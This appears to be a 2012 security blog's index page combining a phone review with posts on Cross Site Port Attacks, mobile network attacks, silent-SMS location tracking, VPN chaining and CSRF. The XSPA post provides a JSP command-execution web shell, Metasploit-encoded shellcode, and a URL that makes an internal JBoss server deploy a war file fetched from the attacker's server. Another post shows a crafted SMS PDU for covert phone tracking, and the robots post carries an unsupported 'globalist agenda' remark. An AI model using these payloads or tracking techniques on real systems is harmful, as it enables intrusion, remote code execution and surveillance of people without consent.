Nokia Lumia 920

Aug 31, 2012 | comments

The mobile world has changed a lot since Nokia last put out a phone that truly wowed large amounts of people. Its tie in with Microsoft spawned some half decent handsets but despite Nokia's best efforts, the world was never truly set alight.Cue Nokia World 2012 and the announcement of the Nokia Lumia 920. Make no mistake, this is more than a big deal for both Nokia and Microsoft, with both having a lot riding on their respective contributions. Many see it as Nokia's big throw of the dice: make Windows Phone 8 into a top OS and the rewards are huge... fail, and things look ropey for the Finns.

OS

The Nokia Lumia 920 comes running Microsoft's latest version of its mobile OS, Windows Phone 8, complete with its interactive "Live Tiles" interface.

 

 Processor

Nokia have opted for a dual core Snapdragon S4 chip clocked at 1.5GHz, with Nokia standing firm on its belief there's such a thing as too many cores.

 

Screen

Lumia 920 measuring in at 4.5 inches

 

Storage

In the Lumia 920 you'll find 32GB of on board storage, backed up by SkyDrive, Microsoft's cloud storage system.

 

Camera

Nokia is playing its trump card in the camera department. Long being known for fantastic camera devices, with Carl Zeiss lenses, Nokia is bringing its PureView technology first seen on the Nokia PureView 808. However, this is placed over the top of a more modest 8MP sensor, with a 1.3MP front facing camera.

 

Connectivity

Believe it or not, being the latest breed of smartphones, all three devices come fully loaded with every type of connectivity; 3G/HSDPA, Wi-Fi, (for fast internet browsing on those mega screens), Bluetooth (4.0 on the Galaxy S3 and One X, 3.1 on the Lumia 920), GPS and NFC.

 

Dimensions and weight

The Nokia Lumia 920 is the shortest phone at 130 x 70.8 x 10.7mm,but the heaviest at 185g

 

Battery

Being unreleased, we have yet to have any battery comparisons for the Nokia Lumia 920, but with only a dual core processor, and a 2000mAh battery, we'd be surprised if it wasn't very competitive.

 

 

 

 

 

 





XSPA : Cross Site Port Attack

Jul 11, 2012 | comments

An application is vulnerable to Cross Site Port Attacks if the application processes user supplied URLs and does not verify/sanitize the back end response received from remote servers before sending it back to the client. An attacker can send crafted queries to a vulnerable web application to proxy attacks to external Internet facing servers, intranet devices and the web server itself using the advertised functionality of the vulnerable web application. The responses, in certain cases, can be studied to identify service availability (port status, banners etc.) and even fetch data from remote services in unconventional ways.

XSPA allows attackers to abuse available functionality in most web applications to port scan intranet and external Internet facing servers, fingerprint internal (non-Internet exposed) network aware services, perform banner grabbing, identify web application frameworks, exploit vulnerable programs, run code on reachable machines, exploit web application vulnerabilities listening on internal networks, read local files using the file protocol and much more. XSPA has been discovered with Facebook, where it was possible to port scan any Internet facing server using Facebook’s IP addresses. Consecutively, XSPA was also discovered in several other prominent web applications on the Internet, including Google, Apigee, StatMyWeb, Mozilla.org, Face.com, Pinterest, Yahoo, Adobe Omniture and several others. We will take a look at the vulnerabilities that were present in the above mentioned web applications that could be used to launch attacks and perform port scans on remote servers and intranet devices using predefined functionality.

ATTACK'S :

XSPA allows attackers to target the server infrastructure, mostly the intranet of the web server, the web server itself and any public Internet facing server as well. Currently, I have come across the following five different attacks that can be launched because of XSPA:
1. Port Scanning remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases.
2. Exploiting vulnerable programs running on the Intranet or on the local web server
3. Fingerprinting intranet web applications using standard application default files & behavior
4. Attacking internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.)
5. Reading local web server files using the file:/// protocol handler.

Most web server architecture would allow the web server to access the Internet and services running on the intranet. The following visual depiction shows the various destinations to which requests can be made:

 


Port Scanning using XSPA :

Consider a web application that provides a common functionality that allows a user to input a link to an external image from a third party server. Most social networking sites have this functionality that allows users to update their profile image by either uploading an image or by providing a URL to an image hosted elsewhere on the Internet.

A user is expected (in an utopian world) to enter a valid URL pointing to an image on the Internet. URLs of the following forms would be considered valid:
  • http://example.com/dir/public/image.jpg
  • http://example.com/dir/images/

  • The second URL is valid, if the served Content-Type is an image (http://www.w3.org/Protocols/rfc1341/4_Content-Type.html). Based on the web application's server side logic, the image is downloaded on the server, a URL is created and then the image is displayed to the user, using the new server URL. So even if you specify the image to be at
    http://example.com/dir/public/image.jpg
    the final image url would be at
    http://gravatar.com/user_images/username/image.jpg.

    If an image is not found at the user supplied URL, the web application will normally inform the user of such. However, if the remote server hosting the image itself isn't found or the server exists and there is no HTTP service running then it gets tricky. Most web applications generate error messages that inform the user regarding the status of this request. An attacker can specify a non-standard yet valid URI according to the URI rfc3986 with a port specification. An example of these URIs would be the following:
  • http://example.com:8080/dir/images/
  • http://example.com:22/dir/public/image.jpg
  • http://example.com:3306/dir/images/

  • In all probability you would find a web application on port 8080 and not on 22 (SSH) or 3306 (MySQL). However, the backend logic of the webserver, in all observed cases, will connect to the user specified URL on the mentioned port using whatever APIs and framework it is built over as these are valid HTTP URLs. In case of most TCP services, banners are sent when a socket connection is created and since most banners (containing juicy information) are printable ascii, they can be displayed as raw HTML via the response handler. If there is some parsing of data on the server then non HTML data may not be displayed, in such cases, unique error messages, response byte size and response timing can be used to identify port status providing an avenue for port scanning remote servers using the vulnerable web application. An attacker can analyze the returned error messages and identify open and closed ports based on unique error responses. These responses may be raw socket errors (like "Connection refused" or timeouts) or may be customized by the application (like "Unexpected header found" or "Service was not reachable"). Instead of providing a URL to a remote server, URLs to localhost (http://127.0.0.1:22/image.jpg) can also be used to port scan the local server itself!

    The following implementation of cURL can be abused to port scan devices:
     
    <?php
    if (isset($_POST['url']))
    {
    $link = $_POST['url'];
    $filename = './curled/'.rand().'txt';
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename));
    fclose($fp);
    echo $result;
    ?>

    The following is a screengrab of the above code retrieving robots.txt from http://www.twitter.com:

    Request: http://www.twitter.com/robots.txt

    For the same page, if a request is made to fetch data from a open port running a non HTTP service:

    Request: http://scanme.nmap.org:22/test.txt

     For a closed port, an application specific error is displayed:

    Request: http://scanme.nmap.org:25/test.txt

    The different responses received allow us to port scan devices using the vulnerable web application server as a proxy. This can easily be scripted to achieve automation and cleaner results. I will be (in later posts) showing how this attack was possible on Facebook, Google, Mozilla, Pinterest, Adobe and Yahoo!

    An attacker can also modify the request URLs to scan the internal network or the local server itself. For example:

    Request: http://127.0.0.1:3306/test.txt

    In most web applications on the Internet, barring a few, banner grabbing may not be possible, in which case application specific error messages, response byte size, server response times and changes in HTML source can be used as unique fingerprints to identify port status. The following screengrabs show port scanning via XSPA in Google's Webmasters web application. Note the application specific error messages that can be used to script the vulnerability and automate scanning of Internet/Intranet devices. Google has now fixed this issue (and my name was listed in the prestigious Google Hall of Fame for security researchers):


      
    Attacks - Exploiting vulnerable network programs
     
    Most developers in the real world write code without incorporating a lot of security. Which is why, even after a decade of being documented, threats like buffer overflows and format string vulnerabilities are still found in applications. For applications built in-house to perform specific tasks, security is almost never in the list of priorities, hence attacking them gives easy access to the internal network. XSPA allows attackers to send data to user controlled addresses and ports which could have vulnerable services listening on them. These can be exploited using XSPA to execute code on the remote/local server and gain a reverse shell (or perform an attacker desired activity).

    If we look at the flow of an XSPA attack, we can see that we control the part after the port specification. In simpler terms, we control the resource that we are asking the web server to fetch from the remote/local server. The web server creates a GET (or POST, mostly GET) request on the backend and connects to the attacker specified service and issues the following HTTP request:

    GET /attacker_controlled_resource HTTP/1.1
    Host: hostname

     
    If you notice carefully, we do not need to be concerned about most of the structure of the backend request as we control the most important part of it, the resource specification. For example, in the following screengrab you can see that a program listening on port 8987 on the local server accepts input and prints "Hello GET /test.txt HTTP/1.1, The Server Time is: [server time]". We can see that the "GET /test.txt HTTP/1.1" is sent by the web server to the program as part of its request creation process. If the program is vulnerable to a buffer overflow, as user input is being used to create the output, the attacker could pass an overly long string and crash the program. 

    Request: http://127.0.0.1:8987/test.txt

     

    Request: http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

      
    One important point to be noted however is that HTTP being a text based protocol may not handle non-printable unicode characters (found in exploit code) properly. In such a situation, we can use msfencode (part of metasploit framework) to encode the exploit payload to alpha numeric using the following command:

    msfpayload windows/exec CMD=calc.exe R | msfencode BufferRegister=ESP -e x86/alpha_mixed

    The result? The following alphanumeric text (along with padding AAAAAAs, the static JMP ESP address and the shellcode) that can now be sent via the web application to the vulnerable program:

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA


    Sucessful exploitation leads to calculator executing on the server. The shellcode can be replaced with other payloads as well (reverse shell perhaps?)



     
    Attacks - Fingerprinting Intranet Web Applications 

    Identifying internal applications via XSPA would be one of the first steps an attacker would take to get into the network from outside. Fingerprinting the type and version, if its a publicly available framework, blogging platform, application module or simply a customized public CMS, is essential in identifying vulnerabilities that can then be exploited to gain access.


    Most publicly available web application frameworks have distinct files and directories whose presence would indicate the type and version of the application. Most web applications also give away version and other information through meta tags and comments inside the HTML source. Specific vulnerabilites can then be researched based on the results. For example, the following unique signatures help in identifying a phpMyAdmin, Wordpress and a Drupal instance respectively:

    Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
    Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
    Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

    The following request attempts to identify the presence of a DLink Router:


    Request: http://10.0.0.1/portName.js





    Once the web application has been identified, an attacker can then research vulnerabilities and exploit vulnerable applications. In the next post we shall see how intranet web applications can be attacked and how servers can be abused using other protocols as well.

    Attacking Internal Vulnerable Web Applications :

    Most often than not, intranet applications lack even the most basic security allowing an attacker on the internal network to attack and access server resources including data and code. Being an intranet application, reaching it from the Internet requires VPN access to the internal network or specialized connectivity on the same lines. Using XSPA, however, an attacker can target vulnerable internal web applications via the Internet exposed web application. 

     A well documented hack using the JMX console, allows an attacker to deploy a war file containing JSP code that would allow command execution on the server. If an attacker has direct access to the JMX console, then deploying the war file containing the following JSP code is relatively straightforward:

    <%@ page import="java.util.*,java.io.*"%>

    <pre>

    <% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x"));

    DataInputStream dis = new DataInputStream(p.getInputStream());

    String disr = dis.readLine();

    while ( disr != null ) {

    out.println(disr);

    disr = dis.readLine();

    } %>

    </pre>

    Using the MainDeployer under jboss.system:service in the JMX Bean View we can deploy a war file containing a JSP shell. The MainDeployer can be found at the following address:

    http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer

    Using the MainDeployer, for example, a war file named cmd.war containing a shell named shell.jsp can be deployed to the server and accessed via http://example_server:8080/cmd/shell.jsp. Commands can then be executed via shell.jsp?x=[command]. To perform this via XSPA we need to obviously replace the example_server with the IP/hostname of the server running JBoss on the internal network.

    A small problem here that becomes a roadblock in performing this attack via XSPA is that the file deploy works via a POST request and hence we cannot craft a URL (atleast we think so) that would deploy the war file to the server. This can easily be solved by converting the POST to a GET request for the JMX console. On a test installation, we can identify the variables that are being sent to the JBoss server when the Main Deployer's deploy() function is called. Using your favorite proxy, or simply using the Firefox addon - Web Developer's "Convert POST to GET" functionality, we can construct a URL that would allow deploying of the cmd.war file to the server. We then only need to host the cmd.war file on an Internet facing server so that we can specify the cmd.war file URL as arg0. The final URL would look something like (assuming JBoss server is running on the same web server):

    http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

    Use this URL as input to the XSPA vulnerable web application and if the application displays received responses from the backend, you should see something on the lines of the following:

     

     Then its a matter of requesting shell.jsp via the XSPA vulnerable web application. For example, the following input would return the directory listing on the JBoss server (assuming its Windows, for Linux, x=ls%20-al can be used)

    http://127.0.0.1:8080/cmd/shell.jsp?x=dir 
     
     
    We have successfully attacked an internal vulnerable web application from the Internet using XSPA. We can then use the shell to download a reverse connect program that would give higher flexibility over issuing commands. Similarily other internal applications vulnerable to threats like SQL Injection, parameter manipulation and other URL based attacks can be targeted from the Internet.

    Attacks - Reading local files using file:/// protocol  

    All the attacks that we saw till now make use of the fact that the XSPA vulnerable web application creates an HTTP request to the requested resource. The protocol in all cases was specified by the attacker. On the other hand, if we specify the file protocol handler, we maybe able to read local files on the server. 

    HOW TO FIX :

    There are multiple ways of mitigating this vulnerability, the most ideal and common techniques of thwarting XSPA, however, are listed below:
    1. Response Handling - Validating responses received from remote resources on the server side is the most basic mitigation that can be readily implemented. If a web application expects specific content type on the server, programmatically ensure that the data received satisfies checks imposed on the server before displaying or processing the data for the client.

    2. Error handling and messages - Display generic error messages to the client in case something goes wrong. If content type validation fails, display generic errors to the client like "Invalid Data retrieved". Also ensure that the message is the same when the request fails on the backend and if invalid data is received. This will prevent the application from being abused as distinct error messages will be absent for closed and open ports. Under no circumstance should the raw response received from the remote server be displayed to the client.

    3. Restrict connectivity to HTTP based ports - This may not always be the brightest thing to do, but restricting the ports to which the web application can connect to only HTTP ports like 80, 443, 8080, 8090 etc. can lower the attack surface. Several popular web applications on the Internet just strip any port specifications in the input URL and connect to the port that is determined by the protocol handler (http - 80, https - 443).

    4. Blacklist IP addresses - Internal IP addresses, localhost specifications and internal hostnames can all be blacklisted to prevent the web application from being abused to fetch data/attack these devices. Implementing this will protect servers from one time attack vectors. For example, even if the first fix (above) is implemented, the data is still being sent to the remote service. If an attack that does not need to see responses is executed (like a buffer overflow exploit) then this fix can actually prevent data from ever reaching the vulnerable device. Response handling is then not required at all as a request was never made.

    5. Disable unwanted protocols - Allow only http and https to make requests to remote servers. Whitelisting these protocols will prevent the web application from making requests over other protocols like file:///, gopher://, ftp:// and other URI schemes.  
     

    Telecom/Mobile Network Attacks

    Jun 15, 2012 | comments


    Main types of known  Attacks :-


    Rogue Base station Attacks

    • GSM standards mandate authentication of mobile devices by the network but not vice-versa.
    • Attackers run their own BSS with powerful radio antennas and using proximity, fools a mobile device into attaching to itself instead of a legitimate BSS.
    • Base Station hardware and Open Source software (e.g. OpenBTS, OpenBSC) are available in public.
    • Allows an attacker to intercept outbound voice, identify subscriber’s geo-location and capture a subscriber’s IMSI.

    Track Location Attacks

    • An attacker’s objective is to identify a subscriber’s geo-location.
    • For attacking wider areas, MSC information can be leaked from HLR. For local area attacks, a rogue BSS can be used.
    • Obfuscated MSC code is stored inside the HLR, each of which has mapping to a physical area.
    • Rogue BSS can be used to launch active or passive attacks for the purpose of knowing subscriber’s geo-location
      • Active Attack: a rogue BSS can send RRLP (Radio Resource Location services Protocol) request and the phone will return the geo-location. Also the BSS can force a handset into a higher power level and can calculate the location from its electro-magnetic signature.
      • Passive: by intercepting TA (Timing Advance) and Power Level data send from mobile phone. In GSM, TA is the length of time a signal takes to reach from a mobile device to the BSS. Each mobile device transmits periodically less than 1/8th of the eight TDMA time slots.  Since each device is at a different distance and the signal travels at a finite speed, the precise arrival time within a time slot allows BSS to determine the distance of the device.


    Attacks on Subscriber Information

    • An attacker’s objective is to know the billing entity name for a given MSISDN number.
    • Caller ID query on CNAM can reveal the organization, individual and business details.
    • Caller ID databases are generally accessible through VoIP.

     

    Encryption Attacks

    • Mobile networks communicate with mobile devices with TMSI. A TMSI is mapped to MSISDN.
    • An attacker’s objective is to find the MSISDN, then read the traffic and decrypt.
    • TMSI can be discovered by a number of techniques. Two of the common known techniques are: Silent Paging and Silent SMS:
      • Silent Paging: to Page a device silently, an adversary calls the target MSISDN and hangs up before the BSS initiates the process to alert the called device. Then the adversary scans the PCH (Paging Channel) for incoming call broadcasts. From that, it retrieves the TMSI or IMSI.
      • Silent SMS: the adversary sends a specially crafted silent SMS which is acknowledged by the device without displaying it. This is possible by changing the “data_coding”  attribute of GSM 03.38 to ’0xC0′. When the mobile device receives an SMS with data_coding set to the value, it sends a delivery notification but discards the message and hence it is never displayed. The adversary then scans the PCH and captures the TMSI or IMSI.
      • Knowing TMSI allows an adversary to monitor specific target MSISDN. Then using cryptanalysis the adversary cracks the session key and records the call content.
      • The adversary typically requires a set of RF equipment and a cracking infrastructure:
        • RF Equipments: Universal Software Radio Peripheral, Wide-band receiver and low-cost mobile phone with custom firmware (e.g. OsmocomBB).
        • Cracking Infrastructure: FPGAs (Field Programmable Gate Arrays), low cost PCs and Rainbow table.


    Attacks on Mobile Devices

    • Compromising a targeted mobile device gives an adversary easy access to user information.
    • Typically, the following types of attacks are known to be successfully used: Baseband Attack, Messaging Attack, Application Attack and a Mixed Attack.
    • A Baseband Attack targets the underlying RTOS operating system of a device. Most of them are written in C and Assembly language for which an adversary has access to publicly available vulnerability information and exploits. Many of the RTOS lack security features like stack protection, address space layout randomization etc.
    • A Messaging Attack targets protocol and/or architectural vulnerabilities and implementation vulnerabilities.
    • WAP and OTA push enables delivering unsolicited data to mobiles. This can be and had been the source of some attacks e.g. DoS attack using malformed WAP payload (ref: MSL-2008-001).
    • MMS Spoofing can be achieved for example, by using vulnerabilities in a web application’s session management. The adversary attempts to illegitimately charge a victim for MMS sent.
    • A number of vulnerabilities occur due to faulty implementation of a protocol or technology standard.  Some of the known examples are iPhone SMS attack  (by Collin Mulliner and Charlie Miller),  SMS curse of silence (by Tobias Engel)
    • With increasingly powerful smart phones, mobile applications are becoming attack vectors (Pwn2Own attack on iPhone Safari browser by Ralf- Philipp Weinmann and Vicenzo Lozzo)
    • There are other types of known attacks e.g. iPhone PHP Perl Compatibility Regular Expression vulnerability (for iPhone 1.x) discovered by Charlie Miller.

    Denial-of-Service Attacks

    • DoS can be launched against network or a targeted mobile device.
    • BSS has a limited number of control channels (RACH- Random Access Channel). By flooding the channels, the services in an area can be rendered unusable.
    • IMSI Detach message is used to tear down a mobile device call from the network. An adversary spoofs a detach message by using the IMSI of a target device which will disconnect the device from the network making the device useless for telephony activities.

    Synthetic Police by DARPA Engineering Autonomous Robots Ready To Rescue

    May 11, 2012 | comments

    Because of the risks involved in rescue aid workers and human response teams, DARPA awarded Boston Dynamics, Inc. a $10.9 million contract to manufacture humanoid robots that are bi-pedal, built like humans and have a sensor head with on-board computing capabilities. Completion of the project is expected for August of 2014.

    These robots are being created to assist in excavation and rescue missions, according to DARPA . They could also be employed to evacuation operations during either man-made or natural disasters.

    Another of DARPA’s interests into robotics is the Avatar for the allocation of bi-pedal robots and essential super-soldiers and has devoted $7 million of its $2.8 billion 2012 budget to developing “interfaces and algorithms to enable a soldier to effectively partner with a semi-autonomous bi-pedal machine and allow it to act as the soldier’s surrogate.”

    These human-controlled robots will be strong enough to “clear a room” and “facilitate sentry control and combat causality recovery.” Yet these “terminators” would easily be the most effective weapon against civil unrest or radical revolutionaries that did not subscribe to the globalist agenda.

    Stanford University’s Aerospace Robotics Laboratory (ARL) wants to introduce autonomous robots into law enforcement situations; such as response in lieu of police SWAT teams.

    In high-risk tactical situations, autonomous robots could replace trained personnel without threat of injury or loss of life. Under the direction of a tactical commander, those robots could be released to provide safe and secure assurance of mission completion. Possible voice recognition software could be used to allow the commander to direct the robot, convey commands, and gather information about the environment before deploying human law enforcement.

    Anonymity

    May 10, 2012 | comments

    Online Privacy, Anonymity

    A VPN allows you to connect to a remote network, and over all ports, encrypt and forward your traffic. This also changes your IP address. Chaining VPNs is a tricky task, though there is a simple and uncommon method I know of. Using multiple VPNs together has the huge perk of being completely anonymous.

    How To Chain VPNs

    First, a person would connect to the VPN. Then, when connected to the first VPN, you chain to the second, and since a bunch of people share the same IP, the second VPN has no way of knowing who tunnelled to it. An even better scenario is where you use an eastern VPN as your first, because our country has no jurisdiction to retrieve the logs from them, thus increasing your security.
    However, to chain VPNs, the second VPN would need to know how the first VPN’s traffic was encrypted. This flaw makes it impossible to chain them in this method, unless you own both VPNs (not very likely).
    So, how can we chain VPNs then? I’ll show you how by using a virtual machine!

    Requirements

    • Windows, Mac or Linux OS
    • Admin/root privileges
    • OpenVPN
    • VirtualBox
    • 2 VPNs (there are tons of free ones that you can find with google search)

    Step 1 Install OpenVPN & a VirtualBox Computer

    Text in bold is a terminal command.
    First, we need to install the VPN client for Linux users. Windows users can download the program here and here, and run the installer normally. Mac users can use this GUI for OpenVPN for Mac.
    1. Change to the Downloads directory.
    2. Configure the installation.
      ./configure
    3. Compile and install.
      make && sudo make install
    4. Now we need to install VirtualBox. This will allow us to have a virtual operating systems running from within our computer. Download VirtualBox: Windows, Mac, Linux.
    5. Install a virtual machine of your choice for Windows or Linux and Mac, then install OpenVPN to it.

    Step 2 Chain the VPNs

    Start up your virtual machine, and configure them both.
    1. For Windows users using the default VPN .
    2. Connect to VPN A with your host OS.
    3. Start up your virtual machine of choice, and connect to VPN B with it.
    4. Operate from within your virtual machine, and you will be safe from prying eyes. If you need to delete the virtual machine, make sure you securely delete it, and your information will be safe.

    Location Tracking of a Mobile Device Via Silent SMS

    | comments

    SMS
    SMS (Short Message Services) has become an extended part of modern day life. Initially created to send non-sensitive information using spare space in signaling channels, it has now evolved into a feature-rich service.

    How SMS is used to track the location of a mobile device

    The law enforcement agencies used the basic principle that every time a mobile device performs any activity, it exposes its presence to the Cell tower. If the mobile network can force the mobile device to some very short activity without making it perceptible to the user, then using Radiolocation technologies, the mobile device can be tracked.  To do that, a special type of SMS known as “Silent SMS” is used. Every time a silent SMS is delivered, the mobile silently acknowledges. This creates activities for a mobile which is tracked by a LMU (Location Measurement Unit) at BTS (Base Transceiver Station) by using a variety of multilateration methods.

    A commonly used technique for tracking location in GSM network is called E-OTD (Enhanced-Observed Time Difference of arrival) . This is a network-based location tracking method. In this technique, the signal arrival time from the mobile device is measured from 3 BTS/LMUs’. The position of the ME (Mobile Equipment) is determined by comparing the time differences between two sets of timing measurements. The accuracy is between 50 – 200 meters. More accurate location measurement is possible using A-GPS (Assisted GPS) based systems.

    In the past using Cell Tower log generated by forcing the target mobile device into some activities, a target’s locations and movements were accurately reconstructed and identified.  In the USA vs. Forrest case, police used similar techniques

    The SMS message is specified by the ETSI in documents GSM 03.38  and GSM 03.40. It can be up to 160 characters long, where each character is 7 bits. Eight-bit messages can contain up to 140 characters and are usually not viewable by the phones as text messages. Instead they are used for data in e.g. smart messaging (images and ringing tones) and Over The Air (OTA) provisioning of Wireless Application Protocol (WAP) settings.
    Silent messages, often referred to as  “Silent SMS” or “Stealth SMS” is a type of SMS message which when received by a mobile device does not notify either by the display or by a sound. GSM 03.40  describes a Short Message of type 0 which indicates that the mobile equipment must acknowledge receipt of the short message but may discard its contents.

    How to create Silent SMS

    To create Silent SMS, the SMS PDU (Protocol Data Unit) needs to be manipulated. It is best done from an application that communicates with SMSC (SMS Center) using a protocol called SMPP. To send a SMS, the application need to send SMPP GSM 03.38 encoded Submit_Sm PDU.  A sample Submit_Sm PDU is shown below:

    Encoding PDU Header . .’ command length ’ , ( 7 1 ) . . . 00 00 00 47
    ’ command id ’ , ( 4 ) . . . 00 00 00 04
    ’ command s t a tus ’ , ( 0 ) . . . 00 00 00 00
    ’ sequence number ’ , ( 1 ) . . . 00 00 00 01
    Encoding PDU Body . .
    ’ service type ’ , ( 0 ) . . . 30 00
    ’ source_add r_ t o n ’ , ( 1 ) . . . 01 __ ’ source_ addr_ npi ’ , ( 1 ) . . . 01 **
    ‘source_ addr ’ , (27829239812) . . . 32 37 38 32 39 32 33 39 38 31 32 00
    ’dest_addr_ton ’ , ( 1 ) . . . 01 **
    ’dest_addr_npi ’ , ( 1 ) . . . 01 **
    ’dest_ addr’ , (27829239812) . . . 32 37 38 32 39 32 33 39 38 31 32 00
    ’esm_ class ’ , ( 0 ) . . . 00
    ’protocol_ id ’ , ( 0 ) . . . 00
    ’priority_flag ’ , ( 0 ) . . . 00
    ’schedule_delivery_time ’ , ( 0 ) . . . 30 00
    ’validity_period ’ , ( 0 ) . . . 30 00
    ’registered_delivery ’ , ( 1 ) . . . 01
    ’replace_ if_ present_fl ag ’ , ( 0 ) . . . 00
    ’data_coding ’ , ( 0 ) . . . 00
    ’sm_default_msg_ id ’ , ( 0 ) . . . 00
    ’sm_length ’ , ( 0 ) . . . 00
    ’short_message ’ , ( xyz..etc ) . . . 69 76 69 7A 73 65 63 75 72 69 74 79 2E 63 6F 6D
    Full PDU ( 70 o c t e t s + + ) . . 00 00 00 47 00 00 00 04 00 00 00 00 00 00
    00 01 30 00 01 01 32 37 38 32 39 32 33 39 38 31 32 00 01 01 32 37 38
    32 39 32 33 39 38 31 32 00 00 00 00 30 00 30 00 01 00 00 00 00 73 61
    74 6E 61 63 2E 6F 72 67 2E 7A
    ** ( 0 )  indicates local numeric numbering formatting
    ( 1 ) indicates international numeric number formatting
    ++ Octet is a group of 8 bits , often referred to as a byte

    There are many different ways to manipulate SMS PDU but many of them may cause mobile device malfunctioning. The two techniques described by N.J Croft and M.S Olivier ["A silent SMS denial of service (DoS) attack," Proceedings of the Southern African Telecommunication Networks and Applications Conference 2007 (SATNAC 2007), Sugar Beach Resort, Mauritius, September 2007 (Published electronically)]  were used and found working are: Manipulating Data Encoding Scheme and Manipulating Timing in a WAP Push Message.

    In the first technique, the data_encoding attribute of SMS PDU was set to 0xC0. This sets the MWIG (Message Waiting Indication Group) identifier that as per GSM 03.38 translates to “Discard Message”. The mobile device on receiving the message discards it after sending delivery acknowledgement.
    In the second technique, the scheduled_delivery_time   is set to a date and time before today in the format “YYMMDDhhmmsstnn”. It was observed that the message was delivered, delivery acknowledgement was sent by the mobile device but the message was never displayed.




    Easy Way To Defeat a “Keylogger”

    May 3, 2012 | comments

    Free keylogger
    There are several ways to defeat a keylogger. I wanted to describe an easy way which does not need any software or cost you money. It is not a revolutionary or new but quite useful. Some of you may already be practicing the same.

    Keyloggers and Trojans can steal you passwords, credit card details or important information while you type them on your system. We are sometimes bound to use third party systems or even our own systems may be compromised (of which we may not be aware of). So how do we defeat a keylogger?


    Method

    Let’s assume your password is “savemefromkeyloggers”. So when you type the password you need to ensure that you type the above password in a different obfuscated scheme. I am explaining this through an example.

    Step 1:  Type “veme”

    Step 2: Use your mouse pointer to bring the cursor just before “veme” and type “sa”. So what you see is “saveme” but the keylogger log would read as “vemesa”

    Step 3: Use your mouse pointer to bring the cursor just after “saveme” and type “ggers”. So what you see is “savemeggers” but the keylogger log would read as “vemesaggers”

    Step 4: Use your mouse pointer to bring cursor before “ggers” and type “fromkeylo”. So what you see is “savemefromkeyloggers” but the keylogger log would read as “vemesaggersfromkeylo”

    Important Note: Do not use the “arrow keys” to move the cursor. Use the mouse to click at the right place so that the password key strokes are jumbled up and the keylogger owner would not be able to understand your real password.
    So you can create your own method to jumble up/obfuscate your “credit card number”, “CSV”, “passwords” or anything that is critical. It is a good practice to always use the same pattern to obfuscate the same data since it would make it more difficult for anybody to decode the real password from a single sample of obfuscated password. It becomes easier to decode when there is a sample of several obfuscated forms of the same password.

    Disclaimer: This method do not protect against the advanced crimeawares which use techniques like “Form Grabbing” etc. The good news is that most of the commonly available cheap keyloggers are not all equipped with the same.

    CSRF (cross site request forgeries )

    Apr 20, 2012 | comments

                   CSRF  (cross site request forgeries ) ATTACK

    website hacking with CSRF
    CSRF is an almost opposite type of attack. Rather than exploiting the trust that a user has for a particular site, CSRF exploits the trust that a site has for a particular user. In the case of XSS, the user is the victim. In the case of CSRF, the user is an accomplice.
    Because CSRF involves a forged HTTP request, it is important to first understand a little bit about HTTP, the protocol that web clients and servers use to communicate. Web clients (browsers) send HTTP requests to web servers, and the servers return HTTP responses in reply. A request and its corresponding response make up an HTTP transaction.

    The word CSRF itself means that the attack is done using a cross-site request; it’s “forged” because it’s invisible to the user. A cross-site request is one where a page loaded from one website makes a request to another site for resources that are part of the page (like images, for example). While it’s easy for a malicious site to have such HTML code in its pages, such cross-site requests can also be caused by viewing bulletin boards, forums, or social networking sites (for example) where users are allowed to post images with foreign URL sources — that is, the images are hosted on other sites. CSRF attacks are effective in situations which meet the following criteria:
    • The victim has an active session on the target site.
    • The victim is authenticated by implicit authentication mechanisms (like cookies or HTTP authentication) on the target site.

                    

                       The differences between XSS and CSRF

    Though CSRF seems similar to Cross-Site Scripting (XSS) at first, both are completely different attack vectors. Where XSS aims at inserting active code in an HTML document to either abuse client-side active scripting holes, or to send privileged information (e.g., authentication/session cookies) to an unknown evil website, CSRF aims to perform unwanted actions on a website where the victim has some prior relationship and authority.
    Moreover, where XSS sought to steal your online trading cookies so an attacker could manipulate a victim’s account, CSRF seeks to use the victims’ cookies to force them to execute a trade without their knowledge or consent. While XSS attacks exploits the trust that a user has on the website, CSRF attacks exploit the trust that the website has in its user.

     

    Types of CSRF attacks

    CSRF attacks can be divided into two major categories — reflected and stored/local.

     

    Reflected CSRF attacks

    In a reflected CSRF attack, the attacker uses a system outside the application to expose the victim to the exploit link or content. This can be done using a blog, an email message, an instant message, a message-board posting, or even a flyer posted in a public place with a URL that a victim types in.
